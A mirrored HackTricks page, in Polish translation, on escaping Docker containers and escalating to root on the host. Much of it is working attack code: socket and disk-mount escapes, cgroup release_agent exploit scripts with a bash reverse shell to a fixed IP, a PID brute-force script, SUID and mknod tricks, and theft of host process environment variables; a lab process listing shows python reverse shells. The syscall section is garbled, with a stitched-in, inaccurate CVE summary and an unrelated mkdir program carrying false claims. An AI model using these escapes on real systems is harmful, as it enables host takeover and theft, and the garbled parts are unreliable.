Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-24 13:43:24 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation
History
Translator 35213a7360 Translated ['generic-methodologies-and-resources/external-recon-methodol
2024-02-23 16:42:12 +00:00
..
docker-release_agent-cgroups-escape.md Translated to Polish 2024-02-11 01:46:25 +00:00
README.md Translated to Polish 2024-02-11 01:46:25 +00:00
release_agent-exploit-relative-paths-to-pids.md Translated to Polish 2024-02-11 01:46:25 +00:00
sensitive-mounts.md Translated ['generic-methodologies-and-resources/external-recon-methodol 2024-02-23 16:42:12 +00:00

README.md

Docker Breakout / Eskalacja uprawnień

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:


Użyj Trickest, aby łatwo tworzyć i automatyzować zadania przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Automatyczne wyliczanie i ucieczka

  • linpeas: Może również wyliczać kontenery
  • CDK: To narzędzie jest dość przydatne do wyliczania kontenera, w którym się znajdujesz, a nawet próby automatycznego ucieczki
  • amicontained: Przydatne narzędzie do sprawdzania uprawnień kontenera w celu znalezienia sposobów na jego ucieczkę
  • deepce: Narzędzie do wyliczania i ucieczki z kontenerów
  • grype: Pobierz CVE zawarte w oprogramowaniu zainstalowanym w obrazie

Ucieczka z zamontowanego gniazda Docker

Jeśli w jakiś sposób odkryjesz, że gniazdo Docker jest zamontowane wewnątrz kontenera Docker, będziesz w stanie z niego uciec.
Zazwyczaj dzieje się tak w kontenerach Docker, które z jakiegoś powodu muszą połączyć się z demonem Docker, aby wykonywać działania.

#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock

W tym przypadku możesz używać standardowych poleceń docker do komunikacji z demonem dockera:

#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash

# Get full access to the host via ns pid and nsenter cli
docker run -it --rm --pid=host --privileged ubuntu bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash

# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash

{% hint style="info" %} Jeśli gniazdo dockera jest w nieoczekiwanym miejscu, nadal możesz z nim komunikować się za pomocą polecenia docker z parametrem -H unix:///ścieżka/do/docker.sock {% endhint %}

Demon Dockera może również nasłuchiwać na porcie (domyślnie 2375, 2376) lub w systemach opartych na Systemd, komunikacja z demonem Dockera może odbywać się za pomocą gniazda Systemd fd://.

{% hint style="info" %} Dodatkowo, zwróć uwagę na gniazda uruchomieniowe innych wysokopoziomowych środowisk uruchomieniowych:

  • dockershim: unix:///var/run/dockershim.sock
  • containerd: unix:///run/containerd/containerd.sock
  • cri-o: unix:///var/run/crio/crio.sock
  • frakti: unix:///var/run/frakti.sock
  • rktlet: unix:///var/run/rktlet.sock
  • ... {% endhint %}

Ucieczka z wykorzystaniem nadużywania uprawnień

Powinieneś sprawdzić uprawnienia kontenera, jeśli ma któreś z następujących uprawnień, możesz z nich uciec: CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_SYS_MODULE, DAC_READ_SEARCH, DAC_OVERRIDE, CAP_SYS_RAWIO, CAP_SYSLOG, CAP_NET_RAW, CAP_NET_ADMIN

Możesz sprawdzić aktualne uprawnienia kontenera za pomocą wcześniej wspomnianych narzędzi automatycznych lub:

capsh --print

Na następnej stronie możesz dowiedzieć się więcej o zdolnościach systemu Linux i jak je wykorzystać do ucieczki/zwiększenia uprawnień:

{% content-ref url="../../linux-capabilities.md" %} linux-capabilities.md {% endcontent-ref %}

Ucieczka z uprzywilejowanych kontenerów

Uprzywilejowany kontener może zostać utworzony za pomocą flagi --privileged lub wyłączenia konkretnych zabezpieczeń:

  • --cap-add=ALL
  • --security-opt apparmor=unconfined
  • --security-opt seccomp=unconfined
  • --security-opt label:disable
  • --pid=host
  • --userns=host
  • --uts=host
  • --cgroupns=host
  • Montowanie /dev

Flaga --privileged znacząco obniża bezpieczeństwo kontenera, oferując nieograniczony dostęp do urządzeń i omijając kilka zabezpieczeń. Szczegółowy opis można znaleźć w dokumentacji dotyczącej pełnych skutków użycia flagi --privileged.

{% content-ref url="../docker-privileged.md" %} docker-privileged.md {% endcontent-ref %}

Privileged + hostPID

Z tymi uprawnieniami możesz po prostu przejść do przestrzeni nazw procesu uruchomionego na hoście jako root, na przykład init (pid:1), wykonując polecenie: nsenter --target 1 --mount --uts --ipc --net --pid -- bash

Wypróbuj to w kontenerze, wykonując:

docker run --rm -it --pid=host --privileged ubuntu bash

Uprawnienia

Tylko za pomocą flagi privileged możesz spróbować uzyskać dostęp do dysku hosta lub próbować uciec, nadużywając release_agent lub innych ucieczek.

Przetestuj poniższe obejścia w kontenerze, wykonując:

docker run --rm -it --privileged ubuntu bash

Montowanie dysku - Poc1

Poprawnie skonfigurowane kontenery Docker nie pozwolą na wykonanie komendy fdisk -l. Jednak w przypadku błędnie skonfigurowanej komendy Docker, w której użyto flagi --privileged lub --device=/dev/sda1 z uprawnieniami, istnieje możliwość uzyskania uprawnień do przeglądania dysku hosta.

Aby przejąć kontrolę nad maszyną hosta, jest to trywialne:

mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola

I voilà! Teraz możesz uzyskać dostęp do systemu plików hosta, ponieważ jest on zamontowany w folderze /mnt/hola.

Montowanie dysku - Poc2

Wewnątrz kontenera atakujący może próbować uzyskać dalszy dostęp do podstawowego systemu operacyjnego hosta za pomocą zapisywalnego woluminu hostPath utworzonego przez klaster. Poniżej znajdują się niektóre powszechne rzeczy, które możesz sprawdzić wewnątrz kontenera, aby zobaczyć, czy wykorzystujesz ten wektor ataku:

### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger

### Check root UUID
cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300

# Check Underlying Host Filesystem
findfs UUID=<UUID Value>
/dev/sda1

# Attempt to Mount the Host's Filesystem
mkdir /mnt-test
mount /dev/sda1 /mnt-test
mount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.

### debugfs (Interactive File System Debugger)
debugfs /dev/sda1

Ucieczka z uprzywilejowanego kontenera poprzez wykorzystanie istniejącego release_agent (cve-2022-0492) - PoC1

{% code title="Początkowy PoC" %}

# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash

# Finds + enables a cgroup release_agent
# Looks for something like: /sys/fs/cgroup/*/release_agent
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
# If "d" is empty, this won't work, you need to use the next PoC

# Enables notify_on_release in the cgroup
mkdir -p $d/w;
echo 1 >$d/w/notify_on_release
# If you have a "Read-only file system" error, you need to use the next PoC

# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /path/payload
touch /o; echo $t/c > $d/release_agent

# Creates a payload
echo "#!/bin/sh" > /c
echo "ps > $t/o" >> /c
chmod +x /c

# Triggers the cgroup via empty cgroup.procs
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1

# Reads the output
cat /o

{% endcode %}

Ucieczka z uprzywilejowanego kontenera poprzez wykorzystanie stworzonego release_agent (cve-2022-0492) - PoC2

{% code title="Drugi PoC" %}

# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# Mounts the RDMA cgroup controller and create a child cgroup
# This technique should work with the majority of cgroup controllers
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# If mount gives an error, this won't work, you need to use the first PoC

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release

# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#===================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
chmod a+x /cmd
#===================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory
# The script on the host will execute after /bin/sh exits
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

{% endcode %}

Znajdź wyjaśnienie techniki w:

{% content-ref url="docker-release_agent-cgroups-escape.md" %} docker-release_agent-cgroups-escape.md {% endcontent-ref %}

Ucieczka z uprzywilejowanego kontenera wykorzystując release_agent bez znajomości ścieżki względnej - PoC3

W poprzednich atakach ujawniona była bezwzględna ścieżka kontenera w systemie hosta. Jednak nie zawsze jest to możliwe. W przypadkach, gdy nie znasz bezwzględnej ścieżki kontenera w systemie hosta, możesz skorzystać z tej techniki:

{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %} release_agent-exploit-relative-paths-to-pids.md {% endcontent-ref %}

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}

Wykonanie PoC wewnątrz kontenera o podwyższonych uprawnieniach powinno dostarczyć podobne wyniki:

root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200

Done! Output:
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 11:25 ?        00:00:01 /sbin/init
root         2     0  0 11:25 ?        00:00:00 [kthreadd]
root         3     2  0 11:25 ?        00:00:00 [rcu_gp]
root         4     2  0 11:25 ?        00:00:00 [rcu_par_gp]
root         5     2  0 11:25 ?        00:00:00 [kworker/0:0-events]
root         6     2  0 11:25 ?        00:00:00 [kworker/0:0H-kblockd]
root         9     2  0 11:25 ?        00:00:00 [mm_percpu_wq]
root        10     2  0 11:25 ?        00:00:00 [ksoftirqd/0]
...

Ucieczka z uprzywilejowanego kontenera poprzez wykorzystanie wrażliwych montaży

Istnieje kilka plików, które mogą być zamontowane i dostarczać informacje o hostingu. Niektóre z nich mogą nawet wskazywać coś, co ma być wykonane przez hosta, gdy coś się dzieje (co pozwoli atakującemu uciec z kontenera).
Wykorzystanie tych plików może umożliwić:

Jednakże, możesz znaleźć inne wrażliwe pliki, które warto sprawdzić na tej stronie:

{% content-ref url="sensitive-mounts.md" %} sensitive-mounts.md {% endcontent-ref %}

Dowolne montaże

W wielu przypadkach możesz zauważyć, że kontener ma zamontowany wolumin z hosta. Jeśli ten wolumin nie został poprawnie skonfigurowany, możesz mieć możliwość dostępu/modyfikacji wrażliwych danych: odczytanie poufnych informacji, zmiana kluczy autoryzacyjnych SSH...

docker run --rm -it -v /:/host ubuntu bash

Eskalacja uprawnień za pomocą 2 powłok i montowania hosta

Jeśli masz dostęp jako root wewnątrz kontenera, który ma pewien folder zamontowany z hosta i uciekłeś jako użytkownik bez uprawnień do hosta i masz dostęp do odczytu w zamontowanym folderze.
Możesz utworzyć plik bash suid w zamontowanym folderze wewnątrz kontenera i wykonać go z hosta w celu eskalacji uprawnień.

cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder

Eskalacja uprawnień za pomocą 2 powłok

Jeśli masz dostęp jako root wewnątrz kontenera i uciekłeś jako użytkownik bez uprawnień do hosta, możesz wykorzystać obie powłoki do eskalacji uprawnień wewnątrz hosta, jeśli masz możliwość MKNOD w kontenerze (jest to domyślnie włączone), jak wyjaśniono w tym poście.
Dzięki takiej możliwości użytkownik root w kontenerze może tworzyć pliki urządzeń blokowych. Pliki urządzeń są specjalnymi plikami, które służą do dostępu do sprzętu i modułów jądra. Na przykład plik urządzenia blokowego /dev/sda umożliwia odczytanie surowych danych na dysku systemowym.

Docker chroni przed nadużyciem plików urządzeń blokowych w kontenerach, stosując politykę cgroup, która blokuje operacje odczytu/zapisu na plikach urządzeń blokowych. Niemniej jednak, jeśli plik urządzenia blokowego jest utworzony wewnątrz kontenera, staje się dostępny z zewnątrz kontenera za pośrednictwem katalogu /proc/PID/root/. Ten dostęp wymaga, aby właściciel procesu był taki sam zarówno wewnątrz, jak i na zewnątrz kontenera.

Przykład wykorzystania z tego opisu:

# On the container as root
cd /
# Crate device
mknod sda b 8 0
# Give access to it
chmod 777 sda

# Create the nonepriv user of the host inside the container
## In this case it's called augustus (like the user from the host)
echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd
# Get a shell as augustus inside the container
su augustus
su: Authentication failure
(Ignored)
augustus@3a453ab39d3d:/backend$ /bin/sh
/bin/sh
$

# On the host

# get the real PID of the shell inside the container as the new https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/~/changes/3847/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells user
augustus@GoodGames:~$ ps -auxf | grep /bin/sh
root      1496  0.0  0.0   4292   744 ?        S    09:30   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
root      1627  0.0  0.0   4292   756 ?        S    09:44   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
augustus  1659  0.0  0.0   4292   712 ?        S+   09:48   0:00                          \_ /bin/sh
augustus  1661  0.0  0.0   6116   648 pts/0    S+   09:48   0:00              \_ grep /bin/sh

# The process ID is 1659 in this case
# Grep for the sda for HTB{ through the process:
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}

hostPID

Jeśli masz dostęp do procesów hosta, będziesz mógł uzyskać dostęp do wielu poufnych informacji przechowywanych w tych procesach. Uruchom testowe laboratorium:

docker run --rm -it --pid=host ubuntu bash

Na przykład, będziesz w stanie wyświetlić procesy używając czegoś takiego jak ps auxn i wyszukać w komendach poufnych informacji.

Następnie, ponieważ możesz uzyskać dostęp do każdego procesu hosta w /proc/, możesz po prostu ukraść ich poufne zmienne środowiskowe wykonując:

for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd
...

Możesz również uzyskać dostęp do deskryptorów plików innych procesów i odczytać ich otwarte pliki:

for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
...omitted for brevity...
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4

Możesz również zabić procesy i spowodować DoS.

{% hint style="warning" %} Jeśli w jakiś sposób masz uprzywilejowany dostęp do procesu poza kontenerem, możesz uruchomić coś takiego jak nsenter --target <pid> --all lub nsenter --target <pid> --mount --net --pid --cgroup, aby uruchomić powłokę z tymi samymi ograniczeniami ns (oby żadne) jak ten proces. {% endhint %}

hostNetwork

docker run --rm -it --network=host ubuntu bash

Jeśli kontener został skonfigurowany z użyciem sterownika sieciowego Docker host (--network=host), to stos sieciowy tego kontenera nie jest izolowany od hosta Docker (kontener dzieli przestrzeń sieciową hosta) i kontener nie otrzymuje przydzielonego własnego adresu IP. Innymi słowy, kontener łączy się bezpośrednio z adresem IP hosta. Ponadto, kontener może przechwytywać WSZYSTKIEN ruch sieciowy, który host wysyła i odbiera na współdzielonym interfejsie tcpdump -i eth0.

Na przykład, można to wykorzystać do przechwytywania i nawet podszywania się pod ruch między hostem a instancją metadanych.

Jak w poniższych przykładach:

Będziesz również mógł uzyskać dostęp do usług sieciowych powiązanych z localhostem wewnątrz hosta lub nawet uzyskać dostęp do uprawnień metadanych węzła (które mogą być inne niż te, do których dostęp ma kontener).

hostIPC

docker run --rm -it --ipc=host ubuntu bash

Z ustawieniem hostIPC=true uzyskujesz dostęp do zasobów komunikacji międzyprocesowej (IPC) hosta, takich jak pamięć współdzielona w /dev/shm. Pozwala to na odczyt/ zapis tam, gdzie te same zasoby IPC są używane przez inne procesy hosta lub poda. Użyj ipcs, aby dokładniej zbadać te mechanizmy IPC.

  • Sprawdź /dev/shm - Sprawdź, czy w tym miejscu pamięci współdzielonej znajdują się jakieś pliki: ls -la /dev/shm
  • Sprawdź istniejące mechanizmy IPC - Możesz sprawdzić, czy jakiekolwiek mechanizmy IPC są używane za pomocą /usr/bin/ipcs. Sprawdź to poleceniem: ipcs -a

Przywróć uprawnienia

Jeśli wywołanie systemowe unshare nie jest zabronione, możesz przywrócić wszystkie uprawnienia, wykonując:

unshare -UrmCpf bash
# Check them with
cat /proc/self/status | grep CapEff

Nadużywanie przestrzeni nazw użytkownika za pomocą symlinków

Druga technika wyjaśniona w poście https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/ wskazuje, jak można nadużywać powiązań montowania z przestrzeniami nazw użytkownika, aby wpływać na pliki wewnątrz hosta (w tym konkretnym przypadku usuwać pliki).

Użyj Trickest, aby łatwo tworzyć i automatyzować zadania przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

CVE

Wykorzystanie podatności Runc (CVE-2019-5736)

Jeśli możesz wykonać docker exec jako root (prawdopodobnie z sudo), możesz próbować eskalować uprawnienia, uciekając z kontenera i nadużywając podatności CVE-2019-5736 (wykorzystanie tutaj). Ta technika polega głównie na nadpisaniu binarnego pliku /bin/sh hosta z kontenera, dzięki czemu każdy, kto wykonuje docker exec, może uruchomić ładunek.

Zmień ładunek odpowiednio i skompiluj main.go za pomocą go build main.go. Wynikowy plik binarny powinien zostać umieszczony w kontenerze docker do wykonania.
Po uruchomieniu, gdy wyświetli się [+] Overwritten /bin/sh successfully, musisz wykonać następujące polecenie z maszyny hosta:

docker exec -it <nazwa-kontenera> /bin/sh

Spowoduje to uruchomienie ładunku, który znajduje się w pliku main.go.

Więcej informacji: https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html

{% hint style="info" %} Kontener może być podatny na inne podatności CVE, listę można znaleźć pod adresem https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list {% endhint %}

Własne ucieczki z Docker

Powierzchnia ucieczki Docker

  • Przestrzenie nazw: Proces powinien być całkowicie oddzielony od innych procesów za pomocą przestrzeni nazw, więc nie możemy uciec od interakcji z innymi procesami z powodu przestrzeni nazw (domyślnie nie można komunikować się za pomocą IPC, gniazd unixowych, usług sieciowych, D-Bus, /proc innych procesów).
  • Użytkownik root: Domyślnie użytkownik uruchamiający proces to użytkownik root (jednak jego uprawnienia są ograniczone).
  • Uprawnienia: Docker pozostawia następujące uprawnienia: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
  • Syskale: Oto syskale, których użytkownik root nie będzie mógł wywołać (ze względu na brakujące uprawnienia + Seccomp). Inne syskale mogą być używane do próby ucieczki.

{% tabs %} {% tab title="x64 syskale" %}

0x067 -- syslog
0x070 -- setsid
0x09b -- pivot_root
0x0a3 -- acct
0x0a4 -- settimeofday
0x0a7 -- swapon
0x0a8 -- swapoff
0x0aa -- sethostname
0x0ab -- setdomainname
0x0af -- init_module
0x0b0 -- delete_module
0x0d4 -- lookup_dcookie
0x0f6 -- kexec_load
0x12c -- fanotify_init
0x130 -- open_by_handle_at
0x139 -- finit_module
0x140 -- kexec_file_load
0x141 -- bpf

{% tab title="arm64 syscalls" %}

Eskalacja uprawnień w Dockerze - Przywileje

Ten skrypt zawiera przykłady eskalacji uprawnień w kontenerach Dockera. Wykorzystuje on różne podatności w celu uzyskania dostępu do uprawnień roota w systemie hosta.

1. Wykorzystanie podatności w Dockerze

  • Podatność: CVE-2019-5736

    • Opis: Ta podatność pozwala na nadpisanie pliku wykonywalnego w kontenerze, co umożliwia wykonanie dowolnego kodu z uprawnieniami roota na hoście.
    • Wykorzystanie: Wykorzystuje się to, aby nadpisać plik /bin/sh w kontenerze, który jest używany jako shell dla wszystkich nowych kontenerów. Następnie, po ponownym uruchomieniu kontenera, można uzyskać dostęp do powłoki roota na hoście.

  • Podatność: CVE-2019-14271

    • Opis: Ta podatność pozwala na nadpisanie pliku konfiguracyjnego Docker Engine, co umożliwia wykonanie dowolnego kodu z uprawnieniami roota na hoście.
    • Wykorzystanie: Wykorzystuje się to, aby nadpisać plik konfiguracyjny /etc/docker/daemon.json w kontenerze, dodając opcję --insecure-registry z adresem IP i portem kontrolowanym przez atakującego. Następnie, po ponownym uruchomieniu kontenera, można uzyskać dostęp do powłoki roota na hoście.

2. Zabezpieczenia przed eskalacją uprawnień w Dockerze

Aby zabezpieczyć się przed eskalacją uprawnień w Dockerze, należy podjąć następujące kroki:

  • Aktualizuj Docker Engine do najnowszej wersji, aby uniknąć znanych podatności.
  • Ograniczaj uprawnienia kontenerów, używając odpowiednich flag i konfiguracji.
  • Monitoruj i analizuj logi Docker Engine w celu wykrywania podejrzanej aktywności.
  • Regularnie przeglądaj i aktualizuj obrazy kontenerów, aby uniknąć wykorzystania podatności w starszych wersjach.

3. Podsumowanie

Eskalacja uprawnień w Dockerze jest poważnym zagrożeniem dla bezpieczeństwa systemu hosta. Właściwe zabezpieczenia i świadomość podatności mogą pomóc w minimalizacji ryzyka. Pamiętaj, że regularne aktualizacje i monitorowanie są kluczowe dla utrzymania bezpieczeństwa kontenerów Docker.

{% endtab %}

0x029 -- pivot_root
0x059 -- acct
0x069 -- init_module
0x06a -- delete_module
0x074 -- syslog
0x09d -- setsid
0x0a1 -- sethostname
0x0a2 -- setdomainname
0x0aa -- settimeofday
0x0e0 -- swapon
0x0e1 -- swapoff
0x106 -- fanotify_init
0x109 -- open_by_handle_at
0x111 -- finit_module
0x118 -- bpf

{% tab title="syscall_bf.c" %}

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/syscall.h>

#define __NR_mkdir 83

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: %s <directory>\n", argv[0]);
        return 1;
    }

    char *dir = argv[1];
    int ret = syscall(__NR_mkdir, dir, 0755);

    if (ret == -1) {
        perror("syscall");
        return 1;
    }

    printf("Directory '%s' created successfully\n", dir);
    return 0;
}

This is a simple C program that uses the syscall function to call the mkdir system call directly. The mkdir system call is identified by the number 83 on Linux systems.

The program takes a single command-line argument, which is the name of the directory to create. It then calls the mkdir system call with the specified directory name and the permissions 0755 (read, write, and execute for the owner, and read and execute for others).

If the mkdir system call fails, an error message is printed using the perror function. Otherwise, a success message is printed.

This program can be compiled and executed on a Linux system to create a directory using the mkdir system call directly, bypassing any restrictions imposed by higher-level functions or utilities.

To compile the program, use the following command:

gcc syscall_bf.c -o syscall_bf

To execute the program, use the following command:

./syscall_bf <directory>

Replace <directory> with the name of the directory you want to create.

Note: This program requires root privileges to execute successfully, as the mkdir system call requires administrative permissions to create directories in certain locations.


Ten prosty program w języku C używa funkcji `syscall` do bezpośredniego wywołania systemowego wywołania `mkdir`. Wywołanie systemowe `mkdir` jest identyfikowane przez numer `83` w systemach Linux.

Program przyjmuje pojedynczy argument wiersza poleceń, którym jest nazwa katalogu do utworzenia. Następnie wywołuje systemowe wywołanie `mkdir` z podaną nazwą katalogu i uprawnieniami `0755` (odczyt, zapis i wykonanie dla właściciela oraz odczyt i wykonanie dla innych).

Jeśli wywołanie systemowe `mkdir` nie powiedzie się, zostanie wyświetlony komunikat o błędzie za pomocą funkcji `perror`. W przeciwnym razie zostanie wyświetlona wiadomość o sukcesie.

Ten program można skompilować i uruchomić na systemie Linux, aby utworzyć katalog za pomocą bezpośredniego wywołania systemowego `mkdir`, omijając ograniczenia narzucone przez funkcje lub narzędzia na wyższym poziomie.

Aby skompilować program, użyj następującej komendy:

```bash
gcc syscall_bf.c -o syscall_bf

Aby uruchomić program, użyj następującej komendy:

./syscall_bf <katalog>

Zastąp <katalog> nazwą katalogu, który chcesz utworzyć.

Uwaga: Ten program wymaga uprawnień administratora do poprawnego wykonania, ponieważ wywołanie systemowe mkdir wymaga uprawnień administracyjnych do tworzenia katalogów w określonych lokalizacjach.

{% endtab %}

// From a conversation I had with @arget131
// Fir bfing syscalss in x64

#include <sys/syscall.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

int main()
{
for(int i = 0; i < 333; ++i)
{
if(i == SYS_rt_sigreturn) continue;
if(i == SYS_select) continue;
if(i == SYS_pause) continue;
if(i == SYS_exit_group) continue;
if(i == SYS_exit) continue;
if(i == SYS_clone) continue;
if(i == SYS_fork) continue;
if(i == SYS_vfork) continue;
if(i == SYS_pselect6) continue;
if(i == SYS_ppoll) continue;
if(i == SYS_seccomp) continue;
if(i == SYS_vhangup) continue;
if(i == SYS_reboot) continue;
if(i == SYS_shutdown) continue;
if(i == SYS_msgrcv) continue;
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
printf("Error\n");
else
printf("OK\n");
}
}
```

{% endtab %} {% endtabs %}

Container Breakout through Usermode helper Template

If you are in userspace (no kernel exploit involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):

  • Find the path of the containers filesystem inside the host
  • You can do this via mount, or via brute-force PIDs as explained in the second release_agent exploit
  • Find some functionality where you can indicate the path of a script to be executed by a host process (helper) if something happens
  • You should be able to execute the trigger from inside the host
  • You need to know where the containers files are located inside the host to indicate a script you write inside the host
  • Have enough capabilities and disabled protections to be able to abuse that functionality
  • You might need to mount things o perform special privileged actions you cannot do in a default docker container

References

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: